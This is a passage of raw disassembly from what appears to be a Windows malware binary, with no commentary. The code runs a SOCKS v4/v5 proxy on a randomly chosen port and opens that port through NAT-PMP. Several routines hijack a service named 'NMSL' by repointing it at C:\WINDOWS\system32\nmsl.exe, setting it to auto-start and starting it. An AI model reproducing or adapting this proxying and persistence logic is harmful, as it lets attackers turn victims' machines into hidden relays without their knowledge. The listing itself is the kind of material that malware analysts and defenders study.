[ebp-8] lea eax, [ebp-408h] push eax push dword ptr [ebp-4] call sub_442BF2 add esp, 0Ch test eax, eax jle short loc_44584D xor esi, esi loc_44582A: ; CODE XREF: DMN1:004457E8j test esi, esi jz loc_445745 push 190h call dword_411D04 ; Sleep jmp loc_445745 ; --------------------------------------------------------------------------- loc_445842: ; CODE XREF: DMN1:00445751j ; DMN1:00445764j ... push offset aDataExchangeCo ; "data exchange complete\n" call nullsub_3 pop ecx loc_44584D: ; CODE XREF: DMN1:00445681j ; DMN1:loc_4456AFj ... push offset aConnectionClos ; "connection closed.\n" call nullsub_3 pop ecx push dword ptr [ebp-4] call sub_44292D pop ecx test edi, edi jz short loc_44586C push edi call sub_44292D pop ecx loc_44586C: ; CODE XREF: DMN1:00445863j call sub_44919B pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx push esi loc_445880: ; CODE XREF: DMN1:00445936j call sub_4427C4 mov dword_41102C, eax push 0C1Ch push 0 push dword_41102C call sub_442A22 add esp, 0Ch test eax, eax jnz short loc_4458B0 push offset aCanTBindPortMa ; "can't bind port mapper listen socket!\n" call nullsub_3 pop ecx jmp short loc_44590F ; --------------------------------------------------------------------------- loc_4458B0: ; CODE XREF: DMN1:004458A1j ; DMN1:004458DAj ... push dword_41102C call sub_442A72 pop ecx test eax, eax jz short loc_44590F lea eax, [ebp-6] push eax lea eax, [ebp-4] push eax push dword_41102C call sub_442AD7 add esp, 0Ch mov esi, eax test esi, esi jz short loc_4458B0 push 0Ch call sub_4424B3 pop ecx mov ebx, eax mov eax, [ebp-4] mov [ebx], eax mov ax, [ebp-6] mov [ebx+4], ax mov [ebx+8], esi push ebx push 0 push offset sub_40417F call sub_44910B add esp, 0Ch push eax call dword_411CFC ; CloseHandle jmp short loc_4458B0 ; --------------------------------------------------------------------------- loc_44590F: ; CODE XREF: DMN1:004458AEj ; DMN1:004458BEj cmp dword_41102C, 0 jz short loc_44593B push dword_41102C call sub_44292D pop ecx and dword_41102C, 0 push 4E20h call dword_411D04 ; Sleep jmp loc_445880 ; --------------------------------------------------------------------------- loc_44593B: ; CODE XREF: DMN1:00445916j cmp dword_41102C, 0 jz short loc_445950 push dword_41102C call sub_44292D pop ecx loc_445950: ; CODE XREF: DMN1:00445942j and dword_41102C, 0 call sub_44919B pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445962 proc near ; CODE XREF: sub_4459DE+2Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 0 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov ax, [ebp+arg_C] mov [ebx], ax add ebx, 2 mov eax, [ebp+arg_8] mov [ebx], eax push 8 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_442BF2 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_445962 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44599C proc near ; CODE XREF: sub_4459DE+47p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 5 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov byte ptr [ebx], 0 inc ebx mov byte ptr [ebx], 1 inc ebx mov eax, [ebp+arg_8] mov [ebx], eax add ebx, 4 mov ax, [ebp+arg_C] mov [ebx], ax push 0Ah lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_442BF2 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_44599C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4459DE proc near ; CODE XREF: DMN1:00445CA8p ; DMN1:00445E64p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp push ebx mov bl, [ebp+arg_8] cmp bl, 9 jbe short loc_4459EE xor bl, bl inc bl loc_4459EE: ; CODE XREF: sub_4459DE+Aj cmp [ebp+arg_0], 4 jnz short loc_445A16 movzx eax, bl mov bl, byte_411038[eax] movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_445962 add esp, 10h jmp short loc_445A2D ; --------------------------------------------------------------------------- loc_445A16: ; CODE XREF: sub_4459DE+14j movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_44599C add esp, 10h loc_445A2D: ; CODE XREF: sub_4459DE+36j pop ebx pop ebp retn sub_4459DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445A30 proc near ; CODE XREF: DMN1:00445C32p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+arg_0] loc_445A38: ; CODE XREF: sub_445A30+23j push 1 lea eax, [ebp+var_1] push eax push ebx call sub_442B47 add esp, 0Ch test eax, eax jg short loc_445A4F xor eax, eax jmp short loc_445A58 ; --------------------------------------------------------------------------- loc_445A4F: ; CODE XREF: sub_445A30+19j cmp [ebp+var_1], 0 jnz short loc_445A38 xor eax, eax inc eax loc_445A58: ; CODE XREF: sub_445A30+1Dj pop ebx mov esp, ebp pop ebp retn sub_445A30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445A5D proc near ; CODE XREF: DMN1:00445C69p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] xor edi, edi mov byte ptr [ebx], 0 loc_445A6F: ; CODE XREF: sub_445A5D+47j push 1 lea eax, [ebp+var_1] push eax push [ebp+arg_0] call sub_442B47 add esp, 0Ch test eax, eax jg short loc_445A88 xor eax, eax jmp short loc_445AA9 ; --------------------------------------------------------------------------- loc_445A88: ; CODE XREF: sub_445A5D+25j mov eax, edi inc edi mov dl, [ebp+var_1] mov [ebx+eax], dl mov byte ptr [ebx+edi], 0 lea eax, [esi-1] cmp edi, eax jl short loc_445AA0 xor eax, eax jmp short loc_445AA9 ; --------------------------------------------------------------------------- loc_445AA0: ; CODE XREF: sub_445A5D+3Dj cmp [ebp+var_1], 0 jnz short loc_445A6F xor eax, eax inc eax loc_445AA9: ; CODE XREF: sub_445A5D+29j ; sub_445A5D+41j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_445A5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 430h push ebx push esi push edi mov eax, [ebp+8] mov [ebp-41Ch], eax mov edi, [eax+8] mov eax, [ebp-41Ch] mov edx, [eax] mov [ebp-410h], edx mov dx, [eax+4] mov [ebp-40Ah], dx push eax call sub_4424E1 pop ecx and dword ptr [ebp-4], 0 mov eax, [ebp-410h] mov [ebp-420h], eax push eax call sub_44851B ; inet_ntoa mov [ebp-418h], eax movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectionFrom ; "connection from [%s]\n" call sub_448A5B add esp, 0Ch mov byte ptr [ebp-411h], 0 mov byte ptr [ebp-421h], 0 push 1 lea eax, [ebp-411h] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push 0 push dword ptr [ebp-410h] push dword_412938 call sub_44344E add esp, 0Ch mov [ebp-428h], eax push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection cmp dword ptr [ebp-428h], 0 jnz short loc_445B99 push dword ptr [ebp-418h] push offset aConnectionReje ; "connection rejected (from [%s])\n" call nullsub_3 pop ecx pop ecx jmp loc_44611D ; --------------------------------------------------------------------------- loc_445B99: ; CODE XREF: DMN1:00445B80j mov word ptr [ebp-40Ah], 0 and dword ptr [ebp-410h], 0 mov al, [ebp-411h] cmp al, 4 jz short loc_445BBB cmp al, 5 jnz loc_44611D loc_445BBB: ; CODE XREF: DMN1:00445BB1j push dword ptr [ebp-418h] movsx eax, byte ptr [ebp-411h] push eax push offset aSocksVIS ; "socks v%i [%s]\n" call nullsub_3 add esp, 0Ch cmp byte ptr [ebp-411h], 4 jnz loc_445CB5 push 1 lea eax, [ebp-421h] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D push 2 lea eax, [ebp-40Ah] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D push 4 lea eax, [ebp-410h] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D push edi call sub_445A30 pop ecx test eax, eax jz loc_44611D mov eax, [ebp-410h] test eax, 0FFFFFFh jnz loc_445EA1 test eax, 0FF000000h jz loc_445EA1 push 400h lea eax, [ebp-408h] push eax push edi call sub_445A5D add esp, 0Ch test eax, eax jz loc_44611D lea eax, [ebp-408h] push eax call sub_442C29 pop ecx mov [ebp-410h], eax test eax, eax jz short loc_445C9F cmp eax, 0FFFFFFFFh jz short loc_445C9F test eax, eax jnz loc_445EA1 loc_445C9F: ; CODE XREF: DMN1:00445C8Ej ; DMN1:00445C95j push 0 push 0 push 4 push edi push 4 call sub_4459DE add esp, 14h jmp loc_44611D ; --------------------------------------------------------------------------- loc_445CB5: ; CODE XREF: DMN1:00445BDDj cmp byte ptr [ebp-411h], 5 jnz loc_44611D mov byte ptr [ebp-429h], 0 push 1 lea eax, [ebp-429h] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jg short loc_445D05 jmp loc_44611D ; --------------------------------------------------------------------------- loc_445CE4: ; CODE XREF: DMN1:00445D0Cj push 1 lea eax, [ebp-42Ah] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D sub byte ptr [ebp-429h], 1 loc_445D05: ; CODE XREF: DMN1:00445CDDj cmp byte ptr [ebp-429h], 0 jnz short loc_445CE4 mov dword ptr [ebp-430h], 5 push 2 lea eax, [ebp-430h] push eax push edi call sub_442BF2 add esp, 0Ch test eax, eax jle loc_44611D push 1 lea eax, [ebp-42Ah] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D cmp byte ptr [ebp-42Ah], 5 jnz loc_44611D push 1 lea eax, [ebp-421h] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D push 1 lea eax, [ebp-42Ah] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D mov byte ptr [ebp-42Bh], 0 push 1 lea eax, [ebp-42Bh] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D cmp byte ptr [ebp-42Bh], 1 jnz short loc_445DD6 push 4 lea eax, [ebp-410h] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jg loc_445E87 jmp loc_44611D ; --------------------------------------------------------------------------- loc_445DD6: ; CODE XREF: DMN1:00445DB5j cmp byte ptr [ebp-42Bh], 3 jnz loc_445E71 push 1 lea eax, [ebp-429h] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D cmp byte ptr [ebp-429h], 0 jz loc_44611D movsx eax, byte ptr [ebp-429h] push eax lea eax, [ebp-408h] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D movsx eax, byte ptr [ebp-429h] mov byte ptr [ebp+eax-408h], 0 lea eax, [ebp-408h] push eax call sub_442C29 pop ecx mov [ebp-410h], eax test eax, eax jz short loc_445E5B cmp eax, 0FFFFFFFFh jz short loc_445E5B test eax, eax jnz short loc_445E87 loc_445E5B: ; CODE XREF: DMN1:00445E4Ej ; DMN1:00445E55j push 0 push 0 push 4 push edi push 5 call sub_4459DE add esp, 14h jmp loc_44611D ; --------------------------------------------------------------------------- loc_445E71: ; CODE XREF: DMN1:00445DDDj push 0 push 0 push 8 push edi push 5 call sub_4459DE add esp, 14h jmp loc_44611D ; --------------------------------------------------------------------------- loc_445E87: ; CODE XREF: DMN1:00445DCBj ; DMN1:00445E59j push 2 lea eax, [ebp-40Ah] push eax push edi call sub_442B47 add esp, 0Ch test eax, eax jle loc_44611D loc_445EA1: ; CODE XREF: DMN1:00445C4Bj ; DMN1:00445C56j ... movzx eax, word ptr [ebp-40Ah] push eax call sub_4484D3 ; htons mov [ebp-40Ah], ax test ax, ax jnz short loc_445ED6 push 0 push 0 push 2 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_4459DE add esp, 14h jmp loc_44611D ; --------------------------------------------------------------------------- loc_445ED6: ; CODE XREF: DMN1:00445EB8j cmp byte ptr [ebp-421h], 1 jz short loc_445F05 movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push 7 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_4459DE add esp, 14h jmp loc_44611D ; --------------------------------------------------------------------------- loc_445F05: ; CODE XREF: DMN1:00445EDDj call sub_4427C4 mov [ebp-4], eax test eax, eax jnz short loc_445F2D push 0 push 0 push 1 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_4459DE add esp, 14h jmp loc_44611D ; --------------------------------------------------------------------------- loc_445F2D: ; CODE XREF: DMN1:00445F0Fj mov eax, [ebp-410h] mov [ebp-420h], eax push eax call sub_44851B ; inet_ntoa mov [ebp-418h], eax movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectingToSI ; "connecting to %s:%i\n" call nullsub_3 add esp, 0Ch movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push dword ptr [ebp-4] call sub_4429D2 add esp, 0Ch test eax, eax jnz short loc_445FC4 call sub_44852D ; WSAGetLastError push eax movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n" call nullsub_3 add esp, 10h movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push 4 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_4459DE add esp, 14h jmp loc_44611D ; --------------------------------------------------------------------------- loc_445FC4: ; CODE XREF: DMN1:00445F7Bj movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectedToSI ; "connected to %s:%i\n" call nullsub_3 add esp, 0Ch movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-410h] push 0 push edi movsx eax, byte ptr [ebp-411h] push eax call sub_4459DE add esp, 14h test eax, eax jz loc_44611D push offset aTransferringDa ; "transferring data...\n" call nullsub_3 pop ecx xor esi, esi loc_446015: ; CODE XREF: DMN1:004460FCj ; DMN1:0044610Dj inc esi push edi call sub_44293A pop ecx test eax, eax jl loc_446112 push edi call sub_4429AD pop ecx mov ebx, eax test ebx, ebx jl loc_446112 cmp esi, 1Eh jle short loc_446042 test ebx, ebx jnz short loc_446042 xor ebx, ebx inc ebx loc_446042: ; CODE XREF: DMN1:00446039j ; DMN1:0044603Dj test ebx, ebx jle short loc_44608E cmp ebx, 400h jle short loc_446053 mov ebx, 400h loc_446053: ; CODE XREF: DMN1:0044604Cj push ebx lea eax, [ebp-408h] push eax push edi call sub_442B47 add esp, 0Ch mov [ebp-8], eax test eax, eax jle loc_446112 push dword ptr [ebp-8] lea eax, [ebp-408h] push eax push dword ptr [ebp-4] call sub_442BF2 add esp, 0Ch test eax, eax jle loc_44611D xor esi, esi loc_44608E: ; CODE XREF: DMN1:00446044j push dword ptr [ebp-4] call sub_44293A pop ecx test eax, eax jl short loc_446112 push dword ptr [ebp-4] call sub_4429AD pop ecx mov ebx, eax test ebx, ebx jl short loc_446112 cmp esi, 1Eh jle short loc_4460B6 test ebx, ebx jnz short loc_4460B6 xor ebx, ebx inc ebx loc_4460B6: ; CODE XREF: DMN1:004460ADj ; DMN1:004460B1j test ebx, ebx jle short loc_4460FA cmp ebx, 400h jle short loc_4460C7 mov ebx, 400h loc_4460C7: ; CODE XREF: DMN1:004460C0j push ebx lea eax, [ebp-408h] push eax push dword ptr [ebp-4] call sub_442B47 add esp, 0Ch mov [ebp-8], eax test eax, eax jle short loc_446112 push dword ptr [ebp-8] lea eax, [ebp-408h] push eax push edi call sub_442BF2 add esp, 0Ch test eax, eax jle short loc_44611D xor esi, esi loc_4460FA: ; CODE XREF: DMN1:004460B8j test esi, esi jz loc_446015 push 12Ch call dword_411D04 ; Sleep jmp loc_446015 ; --------------------------------------------------------------------------- loc_446112: ; CODE XREF: DMN1:0044601Fj ; DMN1:00446030j ... push offset aDataExchangeCo ; "data exchange complete\n" call nullsub_3 pop ecx loc_44611D: ; CODE XREF: DMN1:00445B41j ; DMN1:00445B94j ... push offset aConnectionClos ; "connection closed.\n" call nullsub_3 pop ecx push edi call sub_44292D pop ecx cmp dword ptr [ebp-4], 0 jz short loc_44613E push dword ptr [ebp-4] call sub_44292D pop ecx loc_44613E: ; CODE XREF: DMN1:00446133j call sub_44919B pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi and dword ptr [ebp-4], 0 and dword_41100C, 0 push offset aListener___ ; "listener...\n" call nullsub_3 pop ecx lea eax, [ebp-0Ah] push eax call sub_443911 pop ecx mov bx, ax test bx, bx jz short loc_44619E cmp bx, 0FFFFh jz short loc_44619E movzx eax, bx cmp dword_411010, eax jz short loc_44619E movzx eax, bx mov dword_411010, eax movzx eax, word ptr [ebp-0Ah] mov dword_41100C, eax loc_44619E: ; CODE XREF: DMN1:00446179j ; DMN1:00446180j ... call sub_4427C4 mov dword_411034, eax loc_4461A8: ; CODE XREF: DMN1:00446221j cmp dword_41100C, 0 jnz short loc_4461E1 loc_4461B1: ; CODE XREF: DMN1:004461D8j ; DMN1:004461DFj lea eax, [ebp-4] push eax call sub_44246C pop ecx mov ecx, 4E20h cdq idiv ecx lea eax, [edx+4E20h] mov dword_41100C, eax mov eax, dword_41100C cmp eax, 247Fh jz short loc_4461B1 cmp eax, 0BB8h jz short loc_4461B1 loc_4461E1: ; CODE XREF: DMN1:004461AFj movzx eax, word ptr dword_41100C push eax push 0 push dword_411034 call sub_442A22 add esp, 0Ch test eax, eax jnz short loc_446223 and dword_41100C, 0 and dword_411010, 0 push dword_411034 call sub_44292D pop ecx call sub_4427C4 mov dword_411034, eax jmp short loc_4461A8 ; --------------------------------------------------------------------------- loc_446223: ; CODE XREF: DMN1:004461FBj push dword_41100C push offset aSocksPortI ; "SOCKS port: %i\n" call sub_448A5B pop ecx pop ecx mov eax, dword_41100C mov dword_411010, eax call sub_44457E mov [ebp-8], eax movzx eax, word ptr dword_411010 push eax movzx eax, word ptr dword_41100C push eax push dword ptr [ebp-8] call sub_44478D add esp, 0Ch movzx eax, ax mov dword_411010, eax cmp dword_411010, 0 jnz short loc_44627F mov eax, dword_41100C mov dword_411010, eax jmp short loc_446291 ; --------------------------------------------------------------------------- loc_44627F: ; CODE XREF: DMN1:00446271j push dword_411010 push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n" call sub_448A5B pop ecx pop ecx loc_446291: ; CODE XREF: DMN1:0044627Dj movzx eax, word ptr dword_41100C push eax push eax call sub_443F6D pop ecx pop ecx test eax, eax jz short loc_4462AA mov eax, dword_41100C loc_4462AA: ; CODE XREF: DMN1:004462A3j push 0 push 0 push offset sub_40440D call sub_44910B add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 1 push offset dword_411024 call dword_411D08 ; InterlockedExchange push 1 push offset dword_411030 call dword_411D08 ; InterlockedExchange push offset aStartingCommTh ; "starting COMM thread...\n" call nullsub_3 pop ecx push 0 push 0 push offset sub_40400E call sub_44910B add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 0C8h call dword_411D04 ; Sleep push 0 push 0 push offset sub_403FEA call sub_44910B add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 0C8h call dword_411D04 ; Sleep loc_44632D: ; CODE XREF: DMN1:00446357j ; DMN1:0044638Aj push dword_411034 call sub_442A72 pop ecx test eax, eax jz short loc_44638C lea eax, [ebp-12h] push eax lea eax, [ebp-10h] push eax push dword_411034 call sub_442AD7 add esp, 0Ch mov edi, eax test edi, edi jz short loc_44632D push 0Ch call sub_4424B3 pop ecx mov esi, eax mov eax, [ebp-10h] mov [esi], eax mov ax, [ebp-12h] mov [esi+4], ax mov [esi+8], edi push esi push 0 push offset sub_404645 call sub_44910B add esp, 0Ch push eax call dword_411CFC ; CloseHandle jmp short loc_44632D ; --------------------------------------------------------------------------- loc_44638C: ; CODE XREF: DMN1:0044633Bj push 0 push offset dword_411030 call dword_411D08 ; InterlockedExchange push dword_411034 call sub_44292D pop ecx and dword_411034, 0 call sub_44919B pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx mov ebx, [ebp+10h] push 44h push 0 lea eax, [ebp-44h] push eax call sub_448DCB add esp, 0Ch mov dword ptr [ebp-44h], 44h test ebx, ebx jz short loc_4463F5 push offset asc_40EDC3 ; "\"" lea eax, [ebp-844h] push eax call sub_448E6B pop ecx pop ecx jmp short loc_4463FC ; --------------------------------------------------------------------------- loc_4463F5: ; CODE XREF: DMN1:004463DEj mov byte ptr [ebp-844h], 0 loc_4463FC: ; CODE XREF: DMN1:004463F3j cmp dword ptr [ebp+8], 0 jz short loc_446415 push dword ptr [ebp+8] lea eax, [ebp-844h] push eax call sub_448E8B pop ecx pop ecx jmp short loc_446428 ; --------------------------------------------------------------------------- loc_446415: ; CODE XREF: DMN1:00446400j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" lea eax, [ebp-844h] push eax call sub_448E8B pop ecx pop ecx loc_446428: ; CODE XREF: DMN1:00446413j test ebx, ebx jz short loc_44643F push offset asc_40EDC3 ; "\"" lea eax, [ebp-844h] push eax call sub_448E8B pop ecx pop ecx loc_44643F: ; CODE XREF: DMN1:0044642Aj cmp dword ptr [ebp+0Ch], 0 jz short loc_446469 push offset asc_40EDA4 ; " " lea eax, [ebp-844h] push eax call sub_448E8B pop ecx pop ecx push dword ptr [ebp+0Ch] lea eax, [ebp-844h] push eax call sub_448E8B pop ecx pop ecx loc_446469: ; CODE XREF: DMN1:00446443j lea eax, [ebp-854h] push eax lea eax, [ebp-44h] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp-844h] push eax push 0 call dword_411D14 ; CreateProcessA test eax, eax jz short loc_4464AE push dword ptr [ebp-850h] call dword_411CFC ; CloseHandle push dword ptr [ebp-854h] call dword_411CFC ; CloseHandle xor eax, eax inc eax loc_4464AE: ; CODE XREF: DMN1:00446491j pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4464B3 proc near ; CODE XREF: DMN1:004473FFp ; sub_447EEC:loc_448228p ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_4464FA push 4 push offset aNmsl ; "NMSL" push ebx call dword_411E4C ; OpenServiceA mov esi, eax test esi, esi jnz short loc_4464E9 push ebx call dword_411E50 ; CloseServiceHandle xor eax, eax jmp short loc_4464FA ; --------------------------------------------------------------------------- loc_4464E9: ; CODE XREF: sub_4464B3+29j push esi call dword_411E50 ; CloseServiceHandle push ebx call dword_411E50 ; CloseServiceHandle xor eax, eax inc eax loc_4464FA: ; CODE XREF: sub_4464B3+15j ; sub_4464B3+34j pop esi pop ebx retn sub_4464B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4464FD proc near ; CODE XREF: sub_447EEC+3C4p var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_446567 push 94h push offset aNmsl ; "NMSL" push ebx call dword_411E4C ; OpenServiceA mov esi, eax test esi, esi jnz short loc_44653D push ebx call dword_411E50 ; CloseServiceHandle xor eax, eax jmp short loc_446567 ; --------------------------------------------------------------------------- loc_44653D: ; CODE XREF: sub_4464FD+33j xor edi, edi lea eax, [ebp+var_1C] push eax push esi call dword_411E54 ; QueryServiceStatus test eax, eax jz short loc_446557 cmp [ebp+var_18], 4 jnz short loc_446557 xor edi, edi inc edi loc_446557: ; CODE XREF: sub_4464FD+4Fj ; sub_4464FD+55j push esi call dword_411E50 ; CloseServiceHandle push ebx call dword_411E50 ; CloseServiceHandle mov eax, edi loc_446567: ; CODE XREF: sub_4464FD+1Cj ; sub_4464FD+3Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4464FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44656E proc near ; CODE XREF: sub_446603+32p ; sub_446651+39p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx mov ebx, [ebp+arg_0] push 0 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push 0 push 2 push 0FFFFFFFFh push ebx call dword_411E58 ; ChangeServiceConfigA test eax, eax jnz short loc_4465B0 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_4465AC or eax, 0FFFFFFFFh jmp short loc_4465FE ; --------------------------------------------------------------------------- loc_4465AC: ; CODE XREF: sub_44656E+37j xor eax, eax jmp short loc_4465FE ; --------------------------------------------------------------------------- loc_4465B0: ; CODE XREF: sub_44656E+2Aj mov [ebp+var_1C], 1 and [ebp+var_18], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_1C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E5C ; ChangeServiceConfig2A test eax, eax jnz short loc_4465FB call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_4465F7 or eax, 0FFFFFFFFh jmp short loc_4465FE ; --------------------------------------------------------------------------- loc_4465F7: ; CODE XREF: sub_44656E+82j xor eax, eax jmp short loc_4465FE ; --------------------------------------------------------------------------- loc_4465FB: ; CODE XREF: sub_44656E+75j xor eax, eax inc eax loc_4465FE: ; CODE XREF: sub_44656E+3Cj ; sub_44656E+40j ... pop ebx mov esp, ebp pop ebp retn sub_44656E endp ; =============== S U B R O U T I N E ======================================= sub_446603 proc near ; CODE XREF: sub_446725+6Dp ; DMN1:loc_447416p push ebx push esi push edi xor edi, edi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_44664D push 96h push offset aNmsl ; "NMSL" push ebx call dword_411E4C ; OpenServiceA mov esi, eax test esi, esi jz short loc_446644 push esi call sub_44656E pop ecx mov edi, eax push esi call dword_411E50 ; CloseServiceHandle loc_446644: ; CODE XREF: sub_446603+2Fj push ebx call dword_411E50 ; CloseServiceHandle mov eax, edi loc_44664D: ; CODE XREF: sub_446603+18j pop edi pop esi pop ebx retn sub_446603 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446651 proc near ; CODE XREF: DMN1:00447315p ; sub_447EEC+428p ... var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi xor esi, esi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov edi, eax test eax, eax jz loc_44671E push 16h push offset aNmsl ; "NMSL" push edi call dword_411E4C ; OpenServiceA mov ebx, eax test ebx, ebx jz short loc_4466AD push ebx call sub_44656E pop ecx mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4466A9 push ebx call dword_411E50 ; CloseServiceHandle push edi call dword_411E50 ; CloseServiceHandle mov eax, esi jmp short loc_44671E ; --------------------------------------------------------------------------- loc_4466A9: ; CODE XREF: sub_446651+44j xor esi, esi jmp short loc_4466BD ; --------------------------------------------------------------------------- loc_4466AD: ; CODE XREF: sub_446651+36j push 14h push offset aNmsl ; "NMSL" push edi call dword_411E4C ; OpenServiceA mov ebx, eax loc_4466BD: ; CODE XREF: sub_446651+5Aj test ebx, ebx jnz short loc_4466CC push edi call dword_411E50 ; CloseServiceHandle xor eax, eax jmp short loc_44671E ; --------------------------------------------------------------------------- loc_4466CC: ; CODE XREF: sub_446651+6Ej lea eax, [ebp+var_1C] push eax push ebx call dword_411E54 ; QueryServiceStatus test eax, eax jz short loc_4466E4 cmp [ebp+var_18], 4 jnz short loc_4466E4 xor esi, esi inc esi loc_4466E4: ; CODE XREF: sub_446651+88j ; sub_446651+8Ej test esi, esi jnz short loc_44670E push 0 push 0 push ebx call dword_411E60 ; StartServiceA test eax, eax jz short loc_4466FE mov esi, 2 jmp short loc_44670E ; --------------------------------------------------------------------------- loc_4466FE: ; CODE XREF: sub_446651+A4j call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_44670E or esi, 0FFFFFFFFh loc_44670E: ; CODE XREF: sub_446651+95j ; sub_446651+ABj ... push ebx call dword_411E50 ; CloseServiceHandle push edi call dword_411E50 ; CloseServiceHandle mov eax, esi loc_44671E: ; CODE XREF: sub_446651+1Ej ; sub_446651+56j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_446651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446725 